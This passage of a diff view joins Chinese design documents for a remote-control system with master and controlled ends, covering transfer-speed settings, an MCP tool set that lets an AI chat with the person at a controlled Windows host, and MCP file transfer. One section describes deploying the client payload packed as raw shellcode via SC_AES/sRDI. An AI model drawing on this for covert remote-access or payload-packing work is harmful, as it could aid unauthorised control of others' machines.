文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|---|---|---|---|
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置(`MasterSettings` 登录下发写入),下次打开文件管理会话生效 |
### 4.1 上传方向(主控端本地,无协议改动)
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
```cpp
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
```
### 4.2 下载方向(随 `MasterSettings` 登录下发到被控端)
下载速度**不再用独立命令下发**,而是折叠进 `MasterSettings` 结构体,随**客户端每次登录成功**第一时间下发(主连接建立即 `SendMasterSettings`),客户端持久化到 `[transfer]` 节后本地生效:
1. **`common/commands.h`**:在 `MasterSettings` 结构体 `Reserved` 之前新增两个字段(`sizeof` 仍为 1000,`Signature` 偏移不变,向下兼容老客户端):
```c
uint16_t TransferChunkKb; // 文件传输速度 chunkKb(随登录配置下发)
uint16_t TransferDurationMs; // 文件传输速度 durationMs(0=不限速)
```
2. **主控端登录即下发**:`OnInitDialog()` 读 `THIS_CFG` 的 `[transfer]`(`GetTransferSpeed`,默认 64/50),填入 `m_settings.TransferChunkKb/TransferDurationMs`。登录链路本就把 `m_settings` 经 `SendMasterSettings` 下发给每个新连接客户端,**无需任何额外命令**。
3. **主控端改速即时广播**:`OnFileTransferSpeed()` 保存后同步更新 `m_settings` 两个字段并 `SendMasterSettings(nullptr, m_settings)`,在线客户端即时收到新速度;新连接主机也自动获取。
4. **被控端接收**:客户端 `CMD_MASTERSETTING` 处理器(`client/KernelManager.cpp:1116` 附近)中,`TransferChunkKb` 非 0(老主控未携带时为 0,保留本地默认值)则把两数写入 `iniFile(CLIENT_PATH)` 的 `[transfer]` 节。
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)等 4 个 `InitFileUpload` 调用点均读 `cfg.GetInt("transfer", ...)`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
> **为何不用独立命令**:v1.4.0 曾用独立 `CMD_FILE_SPEED(252)` 在 `OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `COMMAND_LIST_DRIVE`/`COMMAND_SCREEN_SPY` **之前**追加下发。主控端 IOCP 对两次背靠背 `Send2Client` 会合并为两次整包 `WSASend`(`OutCompressedBuffer` 累积),导致客户端收到重复的 `[FILE_SPEED][SCREEN_SPY]` 命令流——这正是“点击远程桌面弹出两个对话框”的根因(commit 76decec)。改为随 `MasterSettings` 登录下发后,下载方向不再有任何背靠背发送。
> **向后兼容**:`CMD_FILE_SPEED = 252` 命令号与客户端 `case CMD_FILE_SPEED` 处理器仍保留,供老主控(仍按旧机制下发)与新客户端互通;新主控不再发送该命令。
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
---
## 5. 配置存储
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `MasterSettings` 登录下发写入。
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
---
## 6. 改动文件清单(Windows 端)
| 文件 | 改动 |
|---|---|
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnInitDialog()` 把 `[transfer]` 速度填入 `m_settings`;`OnFileTransferSpeed()` 保存后更新 `m_settings` 并经 `SendMasterSettings(nullptr, ...)` 广播 |
| `common/commands.h` | `MasterSettings` 新增 `TransferChunkKb`/`TransferDurationMs`(`sizeof` 不变,`CMD_FILE_SPEED=252` 保留向后兼容) |
| `client/KernelManager.cpp` | `CMD_MASTERSETTING` 处理器写 `[transfer]`(`TransferChunkKb` 非 0 才写) |
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
---
## 7. 生效时机与提示文案
- 上传速度:重启主控端生效。
- 下载速度:已推送到在线客户端即时生效;新连接的主机自动获取。
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度已推送到在线客户端,新连接的主机也会自动获取。`
---
## 8. 风险与备注
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
3. **结构体字段布局**:`TransferChunkKb`/`TransferDurationMs` 加在 `Reserved` 之前(`sizeof(MasterSettings)` 仍为 1000,`Signature` 偏移不变),保证与 Go 侧/老客户端二进制兼容;`TransferChunkKb == 0` 作为“未下发”哨兵(老主控未填充 → 客户端保留本地默认值)。
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
5. **跨平台**:Linux/macOS 客户端下载路径暂不改;`MasterSettings` 新增字段位于原 `Reserved` 区(老/其他平台客户端不识别即忽略),向后兼容。
6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
---
## 9. 实施顺序
1. `common/commands.h` 扩 `MasterSettings` → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
3. 主控端经 `MasterSettings` 下发速度 → 客户端 `CMD_MASTERSETTING` 持久化 → 客户端调用点读配置(下载方向)。
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
+254
View File
@@ -0,0 +1,254 @@
# MCP 远程交谈(P9):AI ↔ 客户端使用者双向对话
## 1. 目标与边界
让接入服务端 MCP 的大模型与坐在 Windows 客户端电脑前的人进行多轮文字交谈。
- **仅 Windows 客户端**:`LNX` / `MAC` / `APK` 直接返回 `-32005`,不发命令。
- **复用既有功能,协议零改动**:沿用「远程交谈」(`client/ChatManager.cpp` + `IDD_CHAT`),
报文与握手不变。客户端侧只有两处改动:聊天窗口改为 Unicode 对话框(见 §5.8,
解决非 936 ACP 系统上的中文乱码),以及加壳部署下对话框改用内嵌模板兜底(见 §5.7)。
- **独立开关 `McpChat`**(默认 `0`):与 `McpReadonly` 无关;关闭时四个工具不出现在
`tools/list`,直接调用返回 `-32006`。
- **直接弹出客户端窗口**:没有确认框;会话建立即代表开始交谈。
- 验证方式:在虚拟机里运行交互式 Windows 客户端,由人扮演使用者与服务端 AI 对话。
## 2. 复用协议
| 方向 | 报文 |
|---|---|
| 服务端主连接 → 客户端 | `[COMMAND_CHAT=161]`(1 字节) |
| 客户端新建子连接 | 先 `[TOKEN_CONN_AUTH=246]`(`EnableSubConnAuth`),再 `[TOKEN_CHAT_START=62]` |
| 服务端子连接 → 客户端 | `[COMMAND_NEXT_CHAT=0]`(1 字节,通知客户端弹窗) |
| 双向文本 | `[CP936/GBK 字节][0x00]`,无 token 前缀 |
| 服务端子连接 → 客户端 | `[COMMAND_CHAT_CLOSE=1]` 结束 |
时序:
```
chat_open:
FindMainContext(id) → 校验 Windows → 校验 McpChat
mainCtx->Send2Client([161])
客户端建子连接 → [246] 认证 → [62] 就绪
OnChatSubPacket 绑定 62 → 回 [0] → readyAt = now + 1000ms
chat_open 等到 started && now >= readyAt 才返回
chat_send:
subCtx->Send2Client(GBK + NUL) → WaitSendIdle(2000)
客户端使用者输入:
subCtx → [GBK + NUL] → OnChatSubPacket → inbox → 唤醒 chat_wait
chat_close:
subCtx->Send2Client([1]) → WaitSendIdle(1000) → CancelIO
```
未绑定子连接上的 `TOKEN_CONN_AUTH(246)` 不被聊天钩子消费,仍由 `MessageHandle`
的鉴权分支处理并回 `ConnAuthAck`,认证后子连接的 `clientID` 才可靠(新客户端路径)。
已绑定子连接上首字节为 `0xF6` 的 GBK 文本不会被误判为鉴权包(绑定连接上所有包都由
聊天钩子消费)。
## 3. 工具
| 工具 | 输入 | 输出 |
|---|---|---|
| `chat_open` | `id`;`timeout_ms`(默认 15000,2000–60000) | `{session_id, status:"open", message}` |
| `chat_send` | `id`, `session_id`, `message` | `{session_id, sent:true, bytes}` |
| `chat_wait` | `id`, `session_id`;`timeout_ms`(默认 30000,0–55000)、`max_messages`(默认 20,1–50) | `{session_id, messages:[{id,at,text}], timed_out, closed, dropped}` |
| `chat_close` | `id`, `session_id` | `{session_id, closed:true}`;主机在线时会话已不存在按幂等处理为成功;主机离线返回 `-32002` |
典型对话循环:
```
chat_open(id) → session_id
chat_send(id, sid, "你好,我是助手")
chat_wait(id, sid, 30000) → 对方的回复
chat_send(id, sid, "……")
chat_wait(id, sid, 30000)
chat_close(id, sid)
```
错误码沿用 MCP 约定:
| 码 | 含义 |
|---|---|
| `-32001` | `chat_open` 等不到客户端建窗(离线、老客户端、非交互桌面) |
| `-32002` | 主机离线 / 会话不存在或已关闭 / `session_id` 不匹配 |
| `-32003` | 同设备已有活跃会话;或同一会话已有 `chat_send` / `chat_wait` 在飞 |
| `-32004` | 发送失败(`Send2Client` 返回 FALSE) |
| `-32005` | 非 Windows 客户端 |
| `-32006` | `McpChat` 关闭 |
| `-32602` | 参数、UTF-8、GBK 可表示性或长度错误 |
## 4. 编码与长度
- **出站**:UTF-8 → CP936 **严格转换**(`MB_ERR_INVALID_CHARS` +
`WC_NO_BEST_FIT_CHARS` + `lpUsedDefaultChar`)。emoji、`ö` 等 GBK 不可表示字符
直接返回 `-32602`,绝不静默变成 `?`。
- **入站**:CP936 → UTF-8,按首个 NUL 截断。
- 出站上限 4000 GBK 字节(客户端输入缓冲 `char str[4096]`,硬上限 4095)。
- 入站单条上限 8 KiB;inbox 100 条 / 256 KiB,溢出丢最旧并在 `chat_wait` 的
`dropped` 中报告。
- 拒绝空消息、纯空白、`\r\n`、NUL 及所有 C0 控制字符。
客户端聊天窗口自 P9 起是 Unicode 对话框(见 §5.8):入站 GBK 字节先转 UTF-16 再
显示,出站 UTF-16 严格转 GBK 后发送,因此在德语等非 936 系统上中文不再乱码。协议
本身仍是 GBK,`ö`/`ß`/emoji 等 GBK 外字符两端都无法传输(服务端 `-32602`;客户端
在发送框下方给出提示并不发送)。
## 5. 客户端怪癖与规避(协议不变)
1. **首字节 101 ('e') 被丢弃(客户端已修)**:`client/ChatManager.cpp` 原在任何长度
判断之前执行 `if (szBuffer[0] == TOKEN_HEARTBEAT) return;`,而该通道承载自由文本,
于是「echo」「error」这类以 e 开头的消息被静默吞掉。交谈子连接上没有心跳(心跳只在
主连接、且是 `[101][Heartbeat]` 多字节包,由主连接分发消费),这行是照搬其它 manager
的死防御,已删除。服务端**仍保留**前置空格规避:老客户端还带这个缺陷,多一个看不见的
空格好过静默丢消息。验证见本章末尾。
2. **窗口创建前的文本被丢弃**:客户端收到 `[0]` 后 `WaitForDialogOpen` 只
`Sleep(150)`,随后才在线程里 `CreateDialogParamW`;`OnReceive` 仅在 `m_hWnd`
非空时显示文本。服务端把 `readyAt` 设为绑定后 1000ms,`chat_open` 等满再返回,
`chat_send` 也拒绝早于 `readyAt` 的发送。
3. **X / 结束交谈只隐藏不关闭**:客户端 `ShowWindow(SW_HIDE)`,会话仍活;下一条
服务端文本会 `SW_RESTORE` 重新弹出。因此隐藏不是关闭信号,结束时必须显式
`chat_close`。
4. **一字节控制包**:客户端把 `len==1` 的包当命令,故文本必须带尾部 NUL(至少
2 字节),空消息在工具层拒绝。
5. **手动「远程交谈」竞争**:MCP 会话在飞时用户又点菜单会产生第二个 `[62]`;
先到者绑定,后到者被吸收并 `CancelIO`。极窄竞争下用户这次看不到 MFC 窗口,
重试即可。
6. **Session 0 / SYSTEM**:`COMMAND_CHAT` 不像抓屏那样重定向到交互会话;以服务
方式运行的客户端没有交互桌面,`chat_open` 会超时。VM 验证必须在交互桌面运行。
7. **加壳部署的对话框兜底**:EXE + SC_AES/sRDI 打包时,
`g_hInstance = GetModuleHandle(NULL)` 是外壳进程映像,资源里只有清单、没有
`IDD_CHAT`;载荷以裸 shellcode 在壳进程内运行,未注册进加载器,Windows 的
`FindResource`/`LoadResource`/`CreateDialogParamW` 取不到对话框
(实测 err=1812 / 59),聊天线程建窗后立即退出。客户端因此保留
`CreateDialogParamW` 原路径,失败时回退到 `CreateDialogIndirectParamW` +
内嵌模板(`client/ChatDialogTemplate.h`,取自载荷 `RT_DIALOG 106`,240 字节),
图标回退为「直接遍历本模块映像的资源目录取 `RT_GROUP_ICON 105` →
`RT_ICON` → `CreateIconFromResourceEx`」(`client/ImageResource.h`),
仍失败才用 `LoadIcon(NULL, IDI_APPLICATION)`。**旧客户端无此兜底,加壳部署下
不会弹窗**:MDLL 由服务端自动下发新 DLL 即生效,EXE 需重新分发客户端。
8. **Unicode 对话框(非 936 系统乱码修复)**:客户端是 MBCS 编译,但对话框可以建
成 Unicode 窗口:`CreateDialogParamW` / `CreateDialogIndirectParamW` 创建的窗口
`IsWindowUnicode` 为真,而 `DLGTEMPLATEEX` 的字符串本来就按 UTF-16 存储。因此
聊天窗口全部改走 W 版 API——`GetWindowTextW` / `SetDlgItemTextW` / 日志用
UTF-16 拼接,消息循环用 `GetMessageW` / `IsDialogMessageW` / `DispatchMessageW`
(否则 WM_CHAR / WM_IME_* 会先按 ACP 转换)。入站
`MultiByteToWideChar(936, …)`,出站 `WideCharToMultiByte(936,
WC_NO_BEST_FIT_CHARS, …, &usedDefault)`;`usedDefault` 置位即 GBK 不可表示
字符,提示后不发送。`IDD_CHAT` 字体由点阵 "System" 改为 "MS Shell Dlg"
(可缩放,并经 SystemLink 字体链接到中文字体),否则 Unicode 窗口里同样没有
中文字形;前提是系统装有至少一种 CJK 字体(简体中文补充字体或 Microsoft YaHei
等),否则只能显示方框。静态文案按 `GetUserDefaultUILanguage()` 在中文/英文两套
间切换,`Script.rc` 因此直接写英文(德语系统看到的是英文而非乱码)。协议与服务端
逻辑不变。
**首字节 'e' 修复的验证(2026-10-25,Debug 实例 + 本机 Debug 客户端)**:验证时把
`McpChat.cpp` 的前置空格临时关掉(否则测不到客户端行为),`chat_open` 后
`chat_send "echo test"` 与 `"second line"` 各一条,再从服务端读客户端窗口文本
(`EnumWindows` → `WM_GETTEXT`):两条都完整出现在聊天记录里,`echo test` 无前导空格。
恢复前置空格后复测,显示为 `" echo test"`(多一个空格但不丢),两条路径都通过。
## 6. 服务端状态机
数据结构(`McpServer.h`,受 `m_ChatMutex` 保护):
```cpp
struct ChatSession {
std::string sessionId;
context* mainCtx; // 主连接(仅身份判断;主连接断开后置空)
uint64_t mainClientId;
context* subCtx; // 已绑定的子连接;关闭后置空
std::string peer; // GetPeerName()(老客户端 clientID=0 兜底)
bool started, closed;
bool sendBusy, waitBusy; // 同一会话串行发送 / 只允许一个 chat_wait
steady_clock::time_point readyAt;
time_t lastActiveAt;
std::deque<ChatMessage> inbox; // UTF-8,未投递
size_t inboxBytes;
uint64_t nextMsgId;
int dropped;
};
using ChatSessionPtr = std::shared_ptr<ChatSession>;
```
- 会话用 `shared_ptr` 持有:`chat_wait` / `chat_send` 在工作线程复制一份后,即使
map 条目被 `chat_close` 或断线删除也安全。
- `m_ChatSessions[device]`、`m_ChatContextToDevice[subCtx]`、`m_ChatAbsorbedSubCtx`
与 `m_ChatRoutes`(原子计数)供 `MessageHandle` 快速路径判断;无会话在飞时
`OnChatSubPacket` 无锁返回,避免音频/屏幕等高频子连接逐包抢锁。
- 锁序:`parent->m_cs`(`FindMainContext`)→ `m_ChatMutex`。持锁期间不发送、
不 `CancelIO`、不 `WaitSendIdle`。
- 超时/关闭后到达的 `[62]` 由 5s 墓碑(按 device 与 peer 两个维度)吸收并
`CancelIO`,避免弹出 MFC 聊天对话框。
- 空闲回收 600s(任一无 `busy` 且 `lastActiveAt` 超时的会话),每个 chat 工具
入口惰性调用。
## 7. 钩子与生命周期
`2015RemoteDlg.cpp`:
1. `MessageHandle`:MCP 终端块之后、**P8 `OnManagedSubPacket` 之前**调用
`OnChatSubPacket`。聊天文本是裸 GBK,首字节可能是 61/255,若先交给 P8 会被
误绑定。
2. `OfflineProc`:P8 清理之后、`RemoveFromHostList` **之前**调用
`OnChatContextClosed`(连接池会复用 `context*`,晚清理会误路由新连接)。
子连接断开 → 会话 `closed` 并唤醒 `chat_wait`;主连接断开 → 关闭其所有会话并
锁外 `CancelIO` 子连接。
3. 启动:`SetChatEnabled(THIS_CFG.GetInt("settings", "McpChat", 0) != 0)`。
审计:`AuditChatAction` 与 `AuditManageAction` 同落地方式(`WM_SHOWERRORMSG`),
标题 `_TR("MCP远程交谈")`;只记录 `session=...` 与 `bytes=N`,**绝不记录消息正文**。
`chat_wait` 不审计,避免刷屏。
## 8. 配置
| INI key | 默认 | 说明 |
|---|---|---|
| `McpChat` | `0` | 远程交谈工具族开关;改动需重启服务端 |
「扩展 → MCP设置」新增复选框「启用远程交谈(AI 与用户对话)」。
## 9. 验证矩阵
准备:`McpEnabled=1`、`McpChat=1` 后重启服务端;MCP 客户端重连使 `tools/list`
刷新;VM 中交互运行 Windows 客户端。
| # | 操作 | 期望 |
|---|---|---|
| 1 | `tools/list`(开关开 / 关) | 四个 chat 工具出现 / 消失;关闭时直调 `-32006` |
| 2 | `chat_open(id)` | VM 约 1s 内弹出「远程交谈」;返回 32 位 hex `session_id` |
| 3 | `chat_send` 中文;用户回中文;`chat_wait` | VM 显示「对方: …」;返回 UTF-8 原文 |
| 4 | 连续多轮、用户连发两条 | 下一轮批量返回,顺序正确,`dropped=0` |
| 5 | 发送 `"echo test"`(首字节 'e') | 新客户端原样显示;老客户端靠前置空格仍能显示(`" echo test"`) |
| 6 | open 后立刻 send,重复 10 次 | 第一条不丢(1000ms 建窗等待) |
| 7 | 4000 / 4001 字节、emoji | 边界内成功;超长与 emoji 返回 `-32602` |
| 8 | 无回复时 `chat_wait` | 到点 `timed_out:true`,会话仍活 |
| 9 | 用户点 X 隐藏后再 send | 窗口恢复,会话仍活 |
| 10 | `chat_close` | 窗口关闭;旧 id 发送 `-32002`;立即重新 open 成功 |
| 11 | `chat_wait` 阻塞时杀掉客户端 | 返回 `closed:true`;服务端稳定;重连后可重新 open |
| 12 | Linux / macOS / Android 主机 | `-32005`,不发命令 |
| 13 | 同设备第二次 `chat_open` | `-32003` |
| 14 | 无 MCP 会话时手动「远程交谈」 | MFC 聊天窗口照常打开(回归) |
| 15 | 服务端审计日志 | 有 open/send/close 的 session id 与字节数,无消息正文 |
| 16 | 现有 MCP 工具 + 手动主机/连接/终端对话框 | 行为不变 |
| 17 | `chat_wait timeout_ms=55000` | 在常见 60s 工具超时前返回 |
| 18 | 加壳(SC_AES/sRDI)EXE 客户端 `chat_open` | 仍弹出「远程交谈」且标题栏图标正常(内嵌模板 + 自模块映像取图标);客户端日志有 `CreateDialogParamW(1812) 失败,改用内嵌对话框模板` |
| 19 | 非 936 系统(如德语 Windows)`chat_open` + 中文 `chat_send` | 标题、按钮为英文(系统 UI 非中文),中文消息正常显示而非乱码;中文系统为中文按钮 |
| 20 | 德语系统客户端发送 `Grüße` / emoji | 客户端不发送并在日志区提示 GBK 不支持;服务端若直接 `chat_send` 同类字符返回 `-32602` |
| 21 | 未安装任何 CJK 字体的系统 | 中文显示为方框(字体缺失,非编码问题);安装中文补充字体后恢复 |
## 10. 已知限制
- **无投递回执**:`sent:true` 只表示已写入子连接并 `WaitSendIdle` 成功,不保证
使用者已看见。
- **HTTP 工作线程**:`chat_wait` 最长 55s 会占用一个 httplib 工作线程;不要在
同一 MCP 连接上并行大量长等待。
- **连接池复用窄竞争**:发送时捕获的 `subCtx` 在极端情况下可能已断开并被池复用;
与现有终端/屏幕实现同一取舍,靠 `closed` 检查与 `WaitSendIdle` 缩短窗口。
- **极慢 VM**:若首条消息仍丢,可把 `kChatOpenSettleMs` 调到 1500–2000ms,代价是
`chat_open` 变慢。
- **仍是 GBK 通道**:Unicode 对话框解决了「显示」,但线路上仍是 CP936,德语变音
字母(`ö`/`ä`/`ß`)、emoji 等无法传输。要根治需引入会话级编码协商(如
`TOKEN_CHAT_START` 后追加能力位,双方改用 UTF-8),属未来工作;服务端与客户端
必须同时升级,且旧客户端不能误解新报文。
- **字体依赖**:中文显示依赖系统已安装的 CJK 字体(字体链接到 "MS Shell Dlg"
的后备字体);仅此一点无法由程序保证,缺少字体时显示为方框。
+1004
View File
File diff suppressed because it is too large. Load diff
+701
View File
@@ -0,0 +1,701 @@
# YAMA MCP 文件传输功能设计(download_file / upload_file / copy_files_c2c)
> **状态**:设计定稿(经专家审查修订,结论见 §13)。`download_file`(P1)已实施并验收;`upload_file`(P2)已实施(详见 §7,评审修订见 §13.1)。`copy_files_c2c`(P3,客户端间直传、服务端只中继)已实施(见 §14)。`download_file` 采用 **V2 文件传输协议**(`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验),`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`(主连接同步驱动),`copy_files_c2c` 复用 V2 的 C2C 中继(`dstClientID != 0`)。三者共享同一套「文件会话」注册表。
> **读者**:MCP 后续功能研发/评审人员。
> **关联文档**:[Mcp_Phase2_Design.md](./Mcp_Phase2_Design.md)(双模式无头驱动机制)、[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议清单)、[Mcp_Design.md](./Mcp_Design.md)(Phase 1 协议/架构/配置)。
---
## 1. 背景与目标
MCP 目前已暴露 `list_files`(只读列目录,`McpServer.cpp:1741`),但**没有文件传输工具**:把远程主机的文件/目录拉回主控本机(下载),或把本机文件推到远程(上传),只能通过 GUI 文件管理器手工操作。
本技术书解决:
1. **`download_file`**(本期 P1)——远程文件/目录 → 主控本机指定目录,复用 V2 推送协议,带 SHA-256 完整性校验、支持大文件。
2. **`upload_file`**(后续 P2)——主控本机文件/目录 → 远程指定目录,复用服务端 V2 发送器。
3. **一套共享的「流式文件会话」基础设施**——一次投入,下载/上传两处受益,镜像现有终端(`TermSession`)与远程控制(`ScreenCtrlSession`)会话模式。
---
## 2. 现状回顾
| 能力 | 现有协议/命令 | 服务端现有实现 | 是否暴露给 MCP |
|---|---|---|---|
| 远程列目录 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`;`COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` | `McpServer.cpp:1741`(`list_files`) | ✅ |
| 远程→本地下载(V1) | `COMMAND_DOWN_FILES`(`commands.h:166`) + `TOKEN_FILE_SIZE/DATA/FINISH` | `FileManagerDlg.cpp:2164` / `file/CFileManagerDlg.cpp:1136` | ❌ 仅 GUI |
| 远程→本地下载(V2) | `CMD_DOWN_FILES_V2`(94, `commands.h:260`) + `COMMAND_SEND_FILE_V2`(85) + `COMMAND_FILE_COMPLETE_V2`(91) | `FileManagerDlg.cpp:3337-3384`(下发)、`2756`(`RecvFileChunkV2` 落盘) | ❌ 仅 GUI |
| 本地→远程上传(V2) | `FileBatchTransferWorkerV2`(服务端作 sender) | `2015RemoteDlg.cpp:7572` | ❌ 仅 GUI |
### 2.1 关键事实
1. **V2 下载的客户端会另开一条新子连接**:`client/FileManager.cpp:1101-1190` `UploadToRemoteV2()` 解析完文件列表后,`new IOCPClient(...)` → `EnableSubConnAuth()` → `ConnectServer(...)`(`FileManager.cpp:1170-1172`),在**独立鉴权子连接**上推 `COMMAND_SEND_FILE_V2` 分块 + `COMMAND_FILE_COMPLETE_V2` 校验包。即下载 ≠ 复用文件管理器那条子链接,而是一条**持续流子链接**——正属 `Mcp_Phase2_Design.md §4.3` 当初判定「本期不做」的流式能力。
2. **接收端 `RecvFileChunkV2` 无 UI 可调**:`CDlgFileSend.cpp:128` 已 `RecvFileChunkV2(buf, len, nullptr, nullptr, hash, hmac, 0)` 无头落盘;落盘状态在 `SimplePlugins/file_upload.cpp` 内部按 `transferID` 自维护,天然适合 MCP 无头复用。
3. **V2 落盘路径由客户端回填**:`CMD_DOWN_FILES_V2` 的 `targetDir` 是**主控本机**保存目录(`FileManagerDlg.cpp:3370` `m_Local_Path`);客户端把它拼进每个 chunk 的 `filename` 发回,服务端 `RecvFileChunkV2` 直接按该完整路径写盘。因此「下载保存到哪」由服务端在命令里指定、客户端原样回填。
---
## 3. 协议选型(已定:V2)
| 维度 | **V2 推送(选定)** | V1 拉取(回退) |
|---|---|---|
| 命令 | `CMD_DOWN_FILES_V2` + `COMMAND_SEND_FILE_V2` + `COMMAND_FILE_COMPLETE_V2` | `COMMAND_DOWN_FILES` + `TOKEN_FILE_SIZE/DATA/FINISH` |
| 连接 | 客户端新开一条鉴权流式子连接 | 复用文件管理器子链接 |
| 完整性 | ✅ SHA-256(`COMMAND_FILE_COMPLETE_V2`) | ❌ 无 |
| 大文件 | ✅ 64 位偏移,>4GB | 64 位偏移但无校验 |
| 客户端代码 | ✅ 已存在,是当前 GUI 正规路径 | ⚠️ 遗留路径 |
| MCP 侧复杂度 | 需路由一条**新流式子连接**(新增会话注册表) | 需在 `MessageHandle` 维护「发 CONTINUE/收 DATA」状态机,逐块 ACK 慢 |
**结论:采用 V2。** 代价是服务端要新增「流式文件会话」注册与路由;但这是 `upload_file` 同样要复用的基础设施,一次投入两处受益。V1 仅作「不想引入新子连接路由」时的降级备案,不在本期实现。
---
## 4. 设计原则
1. **复用现有协议,不新造命令**:`CMD_DOWN_FILES_V2`、`COMMAND_SEND_FILE_V2`、`COMMAND_FILE_COMPLETE_V2`、`COMMAND_LIST_DRIVE` 全部为 `common/commands.h` 既有;客户端零改动(upload 方向例外:`COMMAND_SEND_FILE_V2` 需懒初始化文件模块,见 §7.8)。
2. **无头接管复用会话模式**:镜像 `McpServer.h` 的 `TermSession` / `ScreenCtrlSession`,新增 `FileTransferSession`;`MessageHandle` 用 `IsFileTransferContext(context*)` 判定是否路由到 MCP 无头落盘,否则回落 GUI 进度框。
3. **单设备单传输会话**:与终端/远程控制一致,避免同 host 并发传输的归属歧义;并发返回 `-32003 Device busy`。
4. **超时与清理是硬约束**:大文件传输是长任务,超时需独立于 `kMcpToolTimeoutMs`(20s);断线/超时必须清会话 + 关子链接 + 删半成品文件。
5. **输出 schema 先行**:两个工具先在 `tools/list` 声明完整 `inputSchema`/`outputSchema`。
---
## 5. 核心机制:流式文件会话
### 5.1 会话注册表(`McpServer.h/.cpp`)
```cpp
struct FileTransferSession {
std::string tool; // "download_file" / "upload_file"
std::string localDir; // download: 本机落盘目录(规范化后绝对路径,用于穿越校验)
std::string remotePath; // 审计用原始远程路径(UTF-8)
uint64_t transferID = 0; // 绑定后从首包填充(download);upload 由本端 GenerateTransferID()
uint32_t totalFiles = 0; // 完成判定:首个 COMMAND_SEND_FILE_V2 chunk 的 totalFiles(§13 F4)
uint32_t filesDone = 0; // 完成判定:累计收到的 COMMAND_FILE_COMPLETE_V2 数
bool done = false;
int error = 0; // FEV2_* / 自定义
std::vector<FileEntry> files; // {path, size} 已落盘/已发送文件
std::vector<FileEntry> skipped; // overwrite=false 时跳过的同名文件
time_t startAt = 0;
};
std::mutex m_FileXferMutex;
std::map<uint64_t, FileTransferSession> m_FileXferSessions; // device_id → 会话
```
> **取消 `m_FileXferContextToDevice` 映射与 `IsFileTransferContext(context*)`**:流式子连接经 `TOKEN_CONN_AUTH` 已把 `clientID` 钉在 `ContextObject` 上(`2015RemoteDlg.cpp:6411 SetID`),分派时直接用 `ContextObject->GetClientID()` 定位 `device_id`,无需 context 路由表(§13 F1)。
配套接口(与 `BeginTermPending` / `OnTerminalData` / `WaitTerminalDone` 同构):
```cpp
bool BeginFileTransferPending(uint64_t device_id, const std::string& tool,
const std::string& localDir, const std::string& remotePath);
bool IsFileTransferPending(uint64_t device_id); // 分支顶部守卫
void OnFileChunkV2(uint64_t device_id, const BYTE* buf, ULONG len); // 路径校验 + 无头 RecvFileChunkV2
